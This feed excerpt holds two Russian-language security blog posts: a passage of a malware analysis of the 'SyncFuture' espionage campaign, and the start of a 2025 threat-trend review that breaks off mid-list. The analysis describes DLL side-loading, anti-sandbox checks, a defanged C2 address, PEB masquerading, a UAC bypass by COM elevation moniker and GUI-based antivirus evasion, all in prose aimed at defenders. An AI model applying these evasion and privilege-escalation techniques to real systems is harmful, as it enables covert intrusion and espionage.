  &lt;p id=&quot;qz1B&quot;&gt;Темы писем были локализованы и психологически выверены:&lt;/p&gt;
  &lt;blockquote id=&quot;TNRb&quot;&gt;«कर अनुपालन की कमी और दंड सूचना»&lt;br /&gt;(«Уведомление о несоответствии налоговым требованиям и штрафе»)&lt;/blockquote&gt;
  &lt;p id=&quot;e3N2&quot;&gt;Использование сокращённых URL (surl[.]li) и доменов с нейтральным или правдоподобным видом указывает на попытку обойти как автоматические фильтры, так и пользовательскую настороженность.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;nLc3&quot;&gt;DLL Side-Loading как точка входа&lt;/h2&gt;
  &lt;p id=&quot;gvnI&quot;&gt;Загружаемый архив содержит &lt;strong&gt;подписанный Microsoft-бинарник&lt;/strong&gt; (Windows Defender ATP Sense CE module), который используется как загрузчик. При запуске он автоматически подгружает находящуюся рядом DLL — &lt;code&gt;MpGear.dll&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;0Kal&quot;&gt;Ключевые особенности:&lt;/p&gt;
  &lt;ul id=&quot;YlzO&quot;&gt;
    &lt;li id=&quot;j41w&quot;&gt;основной EXE имеет &lt;strong&gt;действительную цифровую подпись Microsoft&lt;/strong&gt;;&lt;/li&gt;
    &lt;li id=&quot;KS70&quot;&gt;вредоносная DLL снабжена &lt;strong&gt;трансплантированной подписью&lt;/strong&gt;, визуально создающей иллюзию легитимности;&lt;/li&gt;
    &lt;li id=&quot;wzUE&quot;&gt;загрузка DLL происходит по стандартному механизму поиска библиотек Windows.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Qjwg&quot;&gt;Это классический, но всё ещё чрезвычайно эффективный приём, особенно в корпоративных средах с высоким доверием к подписанному коду.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;A4X1&quot;&gt;MpGear.dll: анти-анализ и подготовка среды&lt;/h2&gt;
  &lt;p id=&quot;HoP0&quot;&gt;Первый вредоносный модуль (&lt;code&gt;MpGear.dll&lt;/code&gt;) выполняет исключительно &lt;strong&gt;подготовительные функции&lt;/strong&gt;. Его задача — убедиться, что он выполняется на «реальной» машине, а не в песочнице или под отладчиком.&lt;/p&gt;
  &lt;p id=&quot;7vVh&quot;&gt;Реализованы следующие техники:&lt;/p&gt;
  &lt;ul id=&quot;wnEO&quot;&gt;
    &lt;li id=&quot;FNyU&quot;&gt;&lt;code&gt;IsDebuggerPresent&lt;/code&gt; — базовая проверка флага BeingDebugged в PEB.&lt;/li&gt;
    &lt;li id=&quot;jVQb&quot;&gt;&lt;code&gt;CheckRemoteDebuggerPresent&lt;/code&gt; с валидацией указателей.&lt;/li&gt;
    &lt;li id=&quot;yQPD&quot;&gt;&lt;code&gt;NtQueryInformationProcess(ProcessDebugPort)&lt;/code&gt; — нативный API.&lt;/li&gt;
    &lt;li id=&quot;7GwQ&quot;&gt;Проверка аппаратных breakpoint-ов через &lt;code&gt;GetThreadContext&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;dqp0&quot;&gt;Тайминговая атака с &lt;code&gt;GetTickCount&lt;/code&gt; (порог 100 мс).&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;ix5y&quot;&gt;Использование &lt;strong&gt;каскадных fallback-механизмов&lt;/strong&gt; говорит о хорошем понимании того, как современные sandbox-решения эмулируют окружение.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;d1l3&quot;&gt;Проверка времени через внешние сервисы&lt;/h2&gt;
  &lt;p id=&quot;D9je&quot;&gt;Дополнительный анти-sandbox механизм — &lt;strong&gt;получение текущего времени через интернет&lt;/strong&gt;. Модуль обращается к:&lt;/p&gt;
  &lt;ul id=&quot;C7N4&quot;&gt;
    &lt;li id=&quot;g3go&quot;&gt;worldtimeapi[.]org&lt;/li&gt;
    &lt;li id=&quot;tfCQ&quot;&gt;timeapi[.]io&lt;/li&gt;
    &lt;li id=&quot;fvJW&quot;&gt;&lt;a href=&quot;http://www.google.com/&quot; target=&quot;_blank&quot;&gt;www.google.com&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;y7xx&quot;&gt;Если дата не может быть получена корректно, выполнение прекращается. Это эффективно против изолированных сред анализа без доступа к интернету или с подменой времени.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;JgcD&quot;&gt;Загрузка shellcode и fileless-исполнение&lt;/h2&gt;
  &lt;p id=&quot;TsP8&quot;&gt;После успешной валидации окружения loader связывается с C2-сервером (&lt;code&gt;8.217.152[.]225&lt;/code&gt;) и загружает зашифрованный blob (&lt;code&gt;/1bin&lt;/code&gt;).&lt;/p&gt;
  &lt;p id=&quot;53Yi&quot;&gt;Ключевые моменты:&lt;/p&gt;
  &lt;ul id=&quot;XtHI&quot;&gt;
    &lt;li id=&quot;8etw&quot;&gt;данные загружаются полностью в память;&lt;/li&gt;
    &lt;li id=&quot;pK4r&quot;&gt;используется &lt;code&gt;VirtualAlloc&lt;/code&gt; с &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;MEnC&quot;&gt;выполнение осуществляется через &lt;code&gt;CreateThread&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;MfjY&quot;&gt;основной поток блокируется через &lt;code&gt;WaitForSingleObject&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;C1Jt&quot;&gt;Таким образом, &lt;strong&gt;вредоносный код не сохраняется на диск&lt;/strong&gt; на данном этапе, что серьёзно усложняет детекцию.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;M2Zv&quot;&gt;Распаковка Stage 2: XOR + LZNT1&lt;/h2&gt;
  &lt;p id=&quot;Db6u&quot;&gt;Второй этап представляет собой:&lt;/p&gt;
  &lt;ol id=&quot;YOtM&quot;&gt;
    &lt;li id=&quot;A8Yh&quot;&gt;XOR-дешифрацию с жёстко заданным ключом;&lt;/li&gt;
    &lt;li id=&quot;ohQX&quot;&gt;распаковку через &lt;code&gt;RtlDecompressBuffer&lt;/code&gt; (LZNT1).&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;HAwu&quot;&gt;Это стандартная для Windows схема с использованием нативных API, что снижает вероятность эвристического срабатывания.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;okBF&quot;&gt;Stage 2: маскировка и повышение привилегий&lt;/h2&gt;
  &lt;p id=&quot;IqbG&quot;&gt;Второй PE-файл реализует два ключевых механизма защиты и эскалации:&lt;/p&gt;
  &lt;h3 id=&quot;bIhB&quot;&gt;Маскировка процесса (PEB Masquerading)&lt;/h3&gt;
  &lt;p id=&quot;R5Lq&quot;&gt;Процесс изменяет собственный PEB, подменяя:&lt;/p&gt;
  &lt;ul id=&quot;aagQ&quot;&gt;
    &lt;li id=&quot;zOhx&quot;&gt;&lt;code&gt;ImagePathName&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;Nk2N&quot;&gt;&lt;code&gt;CommandLine&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;LZLb&quot;&gt;записи в списке загруженных модулей&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;nmfm&quot;&gt;В результате он выглядит как &lt;code&gt;explorer.exe&lt;/code&gt; для большинства инструментов мониторинга, опирающихся на PEB.&lt;/p&gt;
  &lt;h3 id=&quot;JsFU&quot;&gt;Обход UAC через COM Auto-Elevation&lt;/h3&gt;
  &lt;p id=&quot;kpfu&quot;&gt;Используется хорошо известный, но всё ещё рабочий метод:&lt;/p&gt;
  &lt;ul id=&quot;MJPi&quot;&gt;
    &lt;li id=&quot;DMmF&quot;&gt;&lt;code&gt;Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;mzHy&quot;&gt;получение интерфейса &lt;code&gt;ICMLuaUtil&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;PKwn&quot;&gt;запуск команды с повышенными правами без UAC-prompt&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;jp6v&quot;&gt;Важно, что техника &lt;strong&gt;fileless&lt;/strong&gt; и не требует записи эксплойта на диск.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;WcL5&quot;&gt;Stage 3: Inno Setup как dropper&lt;/h2&gt;
  &lt;p id=&quot;e7h1&quot;&gt;Следующий этап (&lt;code&gt;180.exe&lt;/code&gt;) — это &lt;strong&gt;32-битный Inno Setup installer&lt;/strong&gt;, замаскированный под легитимный установщик.&lt;/p&gt;
  &lt;p id=&quot;IsVo&quot;&gt;Причины выбора Inno Setup:&lt;/p&gt;
  &lt;ul id=&quot;QFZh&quot;&gt;
    &lt;li id=&quot;LwG8&quot;&gt;высокая распространённость;&lt;/li&gt;
    &lt;li id=&quot;0WfY&quot;&gt;большой размер (маскирует полезную нагрузку);&lt;/li&gt;
    &lt;li id=&quot;WBat&quot;&gt;легитимные сценарии использования;&lt;/li&gt;
    &lt;li id=&quot;s5dW&quot;&gt;сложность статического анализа.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;vgFL&quot;&gt;Installer извлекает десятки файлов, включая batch-скрипты, DLL и EXE.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;6IiH&quot;&gt;Blackmoon и атака на Avast&lt;/h2&gt;
  &lt;p id=&quot;Zz1G&quot;&gt;Один из ключевых компонентов — &lt;code&gt;game-float-core.dll&lt;/code&gt;, идентифицированный как вариант &lt;strong&gt;Blackmoon malware family&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;UEqA&quot;&gt;Особенно интересна реализация &lt;strong&gt;обхода Avast Free Antivirus&lt;/strong&gt;:&lt;/p&gt;
  &lt;ul id=&quot;ZFF2&quot;&gt;
    &lt;li id=&quot;YCYZ&quot;&gt;обнаружение окна Avast через &lt;code&gt;FindWindowExA&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;HcTN&quot;&gt;ожидание активности &lt;code&gt;Setup.exe&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;5rtG&quot;&gt;принудительный вывод окна на передний план;&lt;/li&gt;
    &lt;li id=&quot;2a2t&quot;&gt;симуляция кликов мышью по фиксированным координатам;&lt;/li&gt;
    &lt;li id=&quot;AfQx&quot;&gt;добавление вредоносного файла в список исключений IDP.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;M2Uy&quot;&gt;Это пример &lt;strong&gt;GUI-based AV evasion&lt;/strong&gt;, редкой, но крайне эффективной техники, особенно против consumer-антивирусов.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;QR4L&quot;&gt;Финальный этап: SyncFuture TSM как шпионская платформа&lt;/h2&gt;
  &lt;p id=&quot;gDDD&quot;&gt;Кульминация атаки — установка &lt;strong&gt;SyncFuture Terminal Security Management System&lt;/strong&gt; (TSM), коммерческого продукта китайской компании Nanjing Zhongke Huasai Technology.&lt;/p&gt;
  &lt;h3 id=&quot;FjsM&quot;&gt;Почему это критично&lt;/h3&gt;
  &lt;p id=&quot;rb27&quot;&gt;SyncFuture TSM — &lt;strong&gt;легитимное enterprise-ПО&lt;/strong&gt;, обладающее:&lt;/p&gt;
  &lt;ul id=&quot;XCZx&quot;&gt;
    &lt;li id=&quot;piZ1&quot;&gt;удалённым управлением;&lt;/li&gt;
    &lt;li id=&quot;nFo9&quot;&gt;мониторингом действий пользователя;&lt;/li&gt;
    &lt;li id=&quot;NI3f&quot;&gt;записью экрана;&lt;/li&gt;
    &lt;li id=&quot;XnvU&quot;&gt;контролем файловых операций;&lt;/li&gt;
    &lt;li id=&quot;lMKC&quot;&gt;централизованной политикой безопасности;&lt;/li&gt;
    &lt;li id=&quot;LaVl&quot;&gt;kernel-драйверами.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;9gNS&quot;&gt;Фактически, злоумышленник получает &lt;strong&gt;готовый APT-фреймворк&lt;/strong&gt;, не написав ни строчки шпионского кода самостоятельно.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;JpAU&quot;&gt;Персистентность и сервисная архитектура&lt;/h2&gt;
  &lt;p id=&quot;LEoq&quot;&gt;Компонент &lt;code&gt;MANC.exe&lt;/code&gt;:&lt;/p&gt;
  &lt;ul id=&quot;ELvI&quot;&gt;
    &lt;li id=&quot;mE3f&quot;&gt;устанавливается как Windows-сервис;&lt;/li&gt;
    &lt;li id=&quot;aASI&quot;&gt;настраивается для запуска в Safe Mode;&lt;/li&gt;
    &lt;li id=&quot;vMzK&quot;&gt;управляет драйверами;&lt;/li&gt;
    &lt;li id=&quot;3r2C&quot;&gt;порождает дочерние процессы;&lt;/li&gt;
    &lt;li id=&quot;gUcx&quot;&gt;ведёт обширное логирование.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;8fIQ&quot;&gt;Наличие SafeBoot-ключей означает, что вредоносная активность сохраняется даже при попытке восстановления системы.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;KeGv&quot;&gt;Злоупотребление доверия и code-signing&lt;/h2&gt;
  &lt;p id=&quot;bgCG&quot;&gt;Ключевая особенность кампании — &lt;strong&gt;массовое использование валидных цифровых подписей&lt;/strong&gt;, датированных 2019–2024 годами.&lt;/p&gt;
  &lt;p id=&quot;uVfn&quot;&gt;Это подрывает саму концепцию «доверенного кода» и показывает, что:&lt;/p&gt;
  &lt;blockquote id=&quot;H8dF&quot;&gt;цифровая подпись ≠ безопасность.&lt;/blockquote&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Z3zQ&quot;&gt;Выводы для Blue Team&lt;/h2&gt;
  &lt;p id=&quot;LqLE&quot;&gt;Эта кампания демонстрирует:&lt;/p&gt;
  &lt;ul id=&quot;Lt6y&quot;&gt;
    &lt;li id=&quot;GAIb&quot;&gt;смещение атак в сторону &lt;strong&gt;living-off-the-land + commercial abuse&lt;/strong&gt;;&lt;/li&gt;
    &lt;li id=&quot;iFeh&quot;&gt;снижение роли кастомного malware-кода;&lt;/li&gt;
    &lt;li id=&quot;RbRT&quot;&gt;рост значимости &lt;strong&gt;контекстного и поведенческого анализа&lt;/strong&gt;;&lt;/li&gt;
    &lt;li id=&quot;xQ4j&quot;&gt;необходимость мониторинга легитимных RMM / TSM-решений.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Yyj7&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;JEJL&quot;&gt;SyncFuture Espionage Campaign — это не просто очередной APT-инцидент. Это &lt;strong&gt;демонстрация будущего кибершпионажа&lt;/strong&gt;, где:&lt;/p&gt;
  &lt;ul id=&quot;N7Ni&quot;&gt;
    &lt;li id=&quot;oGbQ&quot;&gt;вредоносный код минимален;&lt;/li&gt;
    &lt;li id=&quot;Obfv&quot;&gt;инфраструктура легитимна;&lt;/li&gt;
    &lt;li id=&quot;QB9R&quot;&gt;атака выглядит как администрирование;&lt;/li&gt;
    &lt;li id=&quot;m7YK&quot;&gt;обнаружение требует глубокого понимания систем, а не сигнатур.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;03iA&quot;&gt;Для защитников это означает одно: &lt;strong&gt;фокус должен смещаться с “что это за файл” на “зачем и как он используется”&lt;/strong&gt;.&lt;/p&gt;

</content></entry><entry><id>sccrrap:hYFh2N0h2Wc</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/hYFh2N0h2Wc?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>Итоги 2025 года в вирусной аналитике: эволюция атак, смещение границ и крах старых детектов</title><published>2026-01-19T10:26:57.687Z</published><updated>2026-01-19T10:27:46.455Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/4c/96/4c962672-7a88-4a9d-8ba6-0e3be41a5e53.png"></media:thumbnail><summary type="html">2025 год стал переломным для вирусной аналитики. Если предыдущие годы можно было охарактеризовать как эволюцию классических техник (file-based malware, phishing, exploit kits), то в 2025 мы окончательно вошли в эпоху пост-сигнатурных атак, где вредоносная активность всё чаще маскируется под легитимные действия пользователя и системы.</summary><content type="html">
  &lt;figure id=&quot;NszJ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/01/64/0164ebd4-8de6-4a11-aa73-5775b732fc9c.png&quot; width=&quot;1536&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;CdUS&quot;&gt;Введение&lt;/h2&gt;
  &lt;p id=&quot;ZGZh&quot;&gt;2025 год стал переломным для вирусной аналитики. Если предыдущие годы можно было охарактеризовать как эволюцию классических техник (file-based malware, phishing, exploit kits), то в 2025 мы окончательно вошли в эпоху &lt;strong&gt;пост-сигнатурных атак&lt;/strong&gt;, где вредоносная активность всё чаще маскируется под легитимные действия пользователя и системы.&lt;/p&gt;
  &lt;p id=&quot;OJxl&quot;&gt;Злоумышленники перестали «доставлять вирус» в привычном понимании. Вместо этого они доставляют &lt;strong&gt;контекст&lt;/strong&gt;, &lt;strong&gt;инструкции&lt;/strong&gt;, &lt;strong&gt;скрипты&lt;/strong&gt; и &lt;strong&gt;payload-as-a-service&lt;/strong&gt;, перекладывая критическую часть атаки на самого пользователя или на легитимные компоненты ОС. Для аналитиков это означает необходимость смещения фокуса с файлов к поведению, цепочкам исполнения и инфраструктуре.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;K7uy&quot;&gt;1. Конец доминирования классического malware-файла&lt;/h2&gt;
  &lt;p id=&quot;m3Af&quot;&gt;Одним из главных итогов 2025 года стало окончательное размывание понятия «вредоносный файл».&lt;/p&gt;
  &lt;h3 id=&quot;5xoN&quot;&gt;1.1. Fileless и semi-fileless как норма&lt;/h3&gt;
  &lt;p id=&quot;HqiJ&quot;&gt;PowerShell, MSHTA, WMI, rundll32, node.exe, python.exe и даже winword.exe стали &lt;strong&gt;основными контейнерами вредоносной логики&lt;/strong&gt;. Во многих инцидентах аналитики фиксировали:&lt;/p&gt;
  &lt;ul id=&quot;ZgKb&quot;&gt;
    &lt;li id=&quot;ADek&quot;&gt;отсутствие PE-файлов на диске;&lt;/li&gt;
    &lt;li id=&quot;7qvz&quot;&gt;загрузку payload напрямую в память;&lt;/li&gt;
    &lt;li id=&quot;lwsg&quot;&gt;исполнение кода через LOLBins;&lt;/li&gt;
    &lt;li id=&quot;FoJL&quot;&gt;хранение конфигурации в реестре, WMI или облачных сервисах.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;uImj&quot;&gt;Файл, если он и присутствует, всё чаще играет роль временного bootstrap-компонента и может быть удалён через секунды после исполнения.&lt;/p&gt;
  &lt;h3 id=&quot;EJo8&quot;&gt;1.2. Payload как товар&lt;/h3&gt;
  &lt;p id=&quot;KIPn&quot;&gt;Массово распространилась модель, при которой вредоносное ПО продаётся &lt;strong&gt;без delivery-механизма&lt;/strong&gt;. Stealer’ы, RAT’ы и ботнет-клиенты поставляются как «чистый payload», а цепочка заражения полностью остаётся на стороне оператора.&lt;/p&gt;
  &lt;p id=&quot;jQ5h&quot;&gt;Это резко усложнило корреляцию IoC: один и тот же payload может появляться в десятках несвязанных кампаний с разными векторами доставки.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;ni5o&quot;&gt;2. Социальные сети как основной Initial Access Vector&lt;/h2&gt;
  &lt;p id=&quot;l0xn&quot;&gt;2025 год закрепил тренд, начавшийся ранее, но теперь ставший массовым: &lt;strong&gt;социальные сети вытеснили email как основной канал первичного заражения&lt;/strong&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;uZUY&quot;&gt;2.1. TikTok, YouTube Shorts и Scam-Yourself&lt;/h3&gt;
  &lt;p id=&quot;WDjh&quot;&gt;Особенно выделился TikTok. Короткие видео с «инструкциями» по активации ПО, взлому игр, получению premium-функций стали идеальным delivery-вектором. Пользователь:&lt;/p&gt;
  &lt;ul id=&quot;LBQL&quot;&gt;
    &lt;li id=&quot;qi8G&quot;&gt;видит визуальное подтверждение «работоспособности»;&lt;/li&gt;
    &lt;li id=&quot;AAAA&quot;&gt;сам запускает PowerShell или скачивает архив;&lt;/li&gt;
    &lt;li id=&quot;Enzd&quot;&gt;добровольно отключает защиту.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;u6N5&quot;&gt;С точки зрения аналитики это катастрофически сложный сценарий: пользователь действует осознанно, без эксплойта, без фишинга, без drive-by.&lt;/p&gt;
  &lt;h3 id=&quot;pp31&quot;&gt;2.2. Алгоритмическое масштабирование атак&lt;/h3&gt;
  &lt;p id=&quot;YOiF&quot;&gt;Алгоритмы рекомендаций усиливают вредоносный контент автоматически. Видео с нужными триггерами (free, fix, working, 2025) получают высокий engagement и расходятся быстрее любой email-рассылки.&lt;/p&gt;
  &lt;p id=&quot;FlpF&quot;&gt;Таким образом, платформа фактически становится &lt;strong&gt;ускорителем ботнетов и stealers&lt;/strong&gt;, не будучи их прямым участником.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;3QFP&quot;&gt;3. Stealer-эпидемия и индустриализация кражи данных&lt;/h2&gt;
  &lt;p id=&quot;0UX7&quot;&gt;Если выбирать один доминирующий класс угроз 2025 года, это безусловно &lt;strong&gt;stealers&lt;/strong&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;bUB4&quot;&gt;3.1. Что именно крадут в 2025&lt;/h3&gt;
  &lt;p id=&quot;gjG4&quot;&gt;Современные stealers давно вышли за рамки логинов и паролей. Типичный набор:&lt;/p&gt;
  &lt;ul id=&quot;UAiE&quot;&gt;
    &lt;li id=&quot;ObRE&quot;&gt;browser cookies и session tokens;&lt;/li&gt;
    &lt;li id=&quot;dTUT&quot;&gt;данные autofill;&lt;/li&gt;
    &lt;li id=&quot;PAex&quot;&gt;crypto-wallets (browser-based и desktop);&lt;/li&gt;
    &lt;li id=&quot;ykck&quot;&gt;Discord / Telegram токены;&lt;/li&gt;
    &lt;li id=&quot;NmNx&quot;&gt;Steam, Battle.net, Epic Games сессии;&lt;/li&gt;
    &lt;li id=&quot;U6lC&quot;&gt;VPN и corporate credentials;&lt;/li&gt;
    &lt;li id=&quot;XRpU&quot;&gt;данные из password managers.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;gEC6&quot;&gt;Особенно критично то, что cookies позволяют обходить MFA, делая классическую модель защиты неполной.&lt;/p&gt;
  &lt;h3 id=&quot;wRke&quot;&gt;3.2. Автоматизация пост-эксплуатации&lt;/h3&gt;
  &lt;p id=&quot;XW7S&quot;&gt;Stealer всё чаще становится &lt;strong&gt;первым этапом цепочки&lt;/strong&gt;, а не финальной целью. Украденные данные автоматически:&lt;/p&gt;
  &lt;ul id=&quot;UxA0&quot;&gt;
    &lt;li id=&quot;czGO&quot;&gt;перепродаются;&lt;/li&gt;
    &lt;li id=&quot;lR3s&quot;&gt;используются для initial access в корпоративных сетях;&lt;/li&gt;
    &lt;li id=&quot;kMgz&quot;&gt;применяются для lateral movement и ransomware.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Bss4&quot;&gt;4. Новая волна persistence: тихо, легитимно, незаметно&lt;/h2&gt;
  &lt;p id=&quot;EWTJ&quot;&gt;Persistence в 2025 году — это не autorun.exe и не очевидный Run-key.&lt;/p&gt;
  &lt;h3 id=&quot;qm9n&quot;&gt;4.1. Living-off-the-OS persistence&lt;/h3&gt;
  &lt;p id=&quot;sxRp&quot;&gt;Злоумышленники массово используют:&lt;/p&gt;
  &lt;ul id=&quot;38zC&quot;&gt;
    &lt;li id=&quot;m05N&quot;&gt;&lt;code&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;LQrg&quot;&gt;Scheduled Tasks с легитимными именами;&lt;/li&gt;
    &lt;li id=&quot;efUW&quot;&gt;WMI Event Subscriptions;&lt;/li&gt;
    &lt;li id=&quot;g9Vh&quot;&gt;COM hijacking;&lt;/li&gt;
    &lt;li id=&quot;MSQ8&quot;&gt;PowerShell profiles;&lt;/li&gt;
    &lt;li id=&quot;oiBN&quot;&gt;Node.js / Python process managers (pm2, supervisord).&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;nBiR&quot;&gt;Часто persistence выглядит как штатная автоматизация и не вызывает тревоги у SOC.&lt;/p&gt;
  &lt;h3 id=&quot;YJ2f&quot;&gt;4.2. Userland-планировщики&lt;/h3&gt;
  &lt;p id=&quot;rzMJ&quot;&gt;Отдельного внимания заслуживают кастомные планировщики (pscron и аналоги), работающие как обычные процессы. Они:&lt;/p&gt;
  &lt;ul id=&quot;KgXq&quot;&gt;
    &lt;li id=&quot;SP0P&quot;&gt;не отображаются в crontab / schtasks;&lt;/li&gt;
    &lt;li id=&quot;NvDO&quot;&gt;не используют стандартные механизмы ОС;&lt;/li&gt;
    &lt;li id=&quot;6qP5&quot;&gt;обнаруживаются только через анализ процессов и поведения.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;RP5q&quot;&gt;5. Blockchain и Web3 как инфраструктура C2&lt;/h2&gt;
  &lt;p id=&quot;VPWM&quot;&gt;Одним из самых нетривиальных трендов 2025 года стало использование &lt;strong&gt;блокчейна как слоя управления&lt;/strong&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;VkTg&quot;&gt;5.1. Smart contracts для C2&lt;/h3&gt;
  &lt;p id=&quot;fwwL&quot;&gt;Вместо DNS или hardcoded IP злоумышленники:&lt;/p&gt;
  &lt;ul id=&quot;MJ5S&quot;&gt;
    &lt;li id=&quot;01Oa&quot;&gt;хранят C2-адреса в state-переменных смарт-контрактов;&lt;/li&gt;
    &lt;li id=&quot;x0rp&quot;&gt;обновляют их транзакциями;&lt;/li&gt;
    &lt;li id=&quot;BXiF&quot;&gt;используют публичные RPC-ноды для получения данных.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;ZCds&quot;&gt;Это делает инфраструктуру:&lt;/p&gt;
  &lt;ul id=&quot;XQ8M&quot;&gt;
    &lt;li id=&quot;SLYE&quot;&gt;отказоустойчивой;&lt;/li&gt;
    &lt;li id=&quot;jexp&quot;&gt;трудно блокируемой;&lt;/li&gt;
    &lt;li id=&quot;JswO&quot;&gt;юридически и технически сложной для takedown.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;8iOS&quot;&gt;5.2. Последствия для аналитики&lt;/h3&gt;
  &lt;p id=&quot;hrSV&quot;&gt;IoC в виде доменов теряют актуальность. Аналитика смещается в сторону:&lt;/p&gt;
  &lt;ul id=&quot;YPHK&quot;&gt;
    &lt;li id=&quot;5tY8&quot;&gt;wallet tracking;&lt;/li&gt;
    &lt;li id=&quot;1T7l&quot;&gt;contract monitoring;&lt;/li&gt;
    &lt;li id=&quot;7OCe&quot;&gt;анализа on-chain активности.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;yRKN&quot;&gt;6. Ransomware: меньше шума, больше точности&lt;/h2&gt;
  &lt;p id=&quot;VcKk&quot;&gt;Ransomware в 2025 стал менее массовым, но более точечным.&lt;/p&gt;
  &lt;h3 id=&quot;6U3g&quot;&gt;6.1. Отказ от spray-and-pray&lt;/h3&gt;
  &lt;p id=&quot;sGY3&quot;&gt;Атаки всё чаще начинаются с:&lt;/p&gt;
  &lt;ul id=&quot;E60W&quot;&gt;
    &lt;li id=&quot;HXq4&quot;&gt;покупки access у initial access brokers;&lt;/li&gt;
    &lt;li id=&quot;zSYR&quot;&gt;использования stealers;&lt;/li&gt;
    &lt;li id=&quot;54lY&quot;&gt;легитимных RMM-инструментов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Iga6&quot;&gt;Шифрование — финальный шаг, а не основной.&lt;/p&gt;
  &lt;h3 id=&quot;iiZD&quot;&gt;6.2. Давление без шифрования&lt;/h3&gt;
  &lt;p id=&quot;YrY5&quot;&gt;Распространились сценарии:&lt;/p&gt;
  &lt;ul id=&quot;CAxc&quot;&gt;
    &lt;li id=&quot;fzTt&quot;&gt;pure data exfiltration;&lt;/li&gt;
    &lt;li id=&quot;IV3q&quot;&gt;угрозы публикации;&lt;/li&gt;
    &lt;li id=&quot;jlT8&quot;&gt;саботаж инфраструктуры без шифрования.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;rdWu&quot;&gt;7. Кризис классических средств детекта&lt;/h2&gt;
  &lt;p id=&quot;RFDe&quot;&gt;2025 год показал пределы возможностей:&lt;/p&gt;
  &lt;ul id=&quot;R9gj&quot;&gt;
    &lt;li id=&quot;sHMe&quot;&gt;сигнатурных AV;&lt;/li&gt;
    &lt;li id=&quot;10ZG&quot;&gt;blacklist-based URL filtering;&lt;/li&gt;
    &lt;li id=&quot;adHn&quot;&gt;static IoC.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;txTC&quot;&gt;7.1. Почему IoC больше не работают&lt;/h3&gt;
  &lt;ul id=&quot;6jej&quot;&gt;
    &lt;li id=&quot;W6iu&quot;&gt;одноразовые домены;&lt;/li&gt;
    &lt;li id=&quot;ZYHn&quot;&gt;payload polymorphism;&lt;/li&gt;
    &lt;li id=&quot;IRhy&quot;&gt;легитимные инструменты;&lt;/li&gt;
    &lt;li id=&quot;dHU0&quot;&gt;execution by user.&lt;/li&gt;
